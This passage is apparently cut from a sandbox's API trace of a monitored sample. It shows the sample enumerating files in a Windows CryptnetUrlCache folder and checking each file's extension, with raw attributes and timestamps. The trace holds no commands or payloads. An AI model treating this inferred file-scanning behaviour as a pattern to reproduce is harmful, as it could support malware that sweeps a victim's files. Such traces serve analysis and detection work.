dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0061.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0061.731] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0061.732] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0061.732] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0061.732] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0061.732] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0061.732] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0061.732] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0061.732] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0061.732] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0061.732] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0061.732] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0061.732] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0061.732] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0061.732] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0061.732] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0061.732] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0061.732] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0061.732] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0061.733] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0061.733] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0061.733] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0061.733] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0061.733] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0061.733] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0061.733] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0061.733] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0061.733] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0061.733] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0061.733] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0061.733] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0061.733] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0061.733] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0061.733] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0061.733] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0061.733] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0061.733] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0061.733] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0061.734] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0061.734] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0061.734] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0061.734] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0061.734] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0061.734] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0061.734] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0061.734] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0061.734] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0061.734] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0061.734] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0061.734] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0061.734] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0061.734] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0061.734] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0061.735] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0061.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0061.735] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0061.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0061.735] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0061.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0061.735] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, 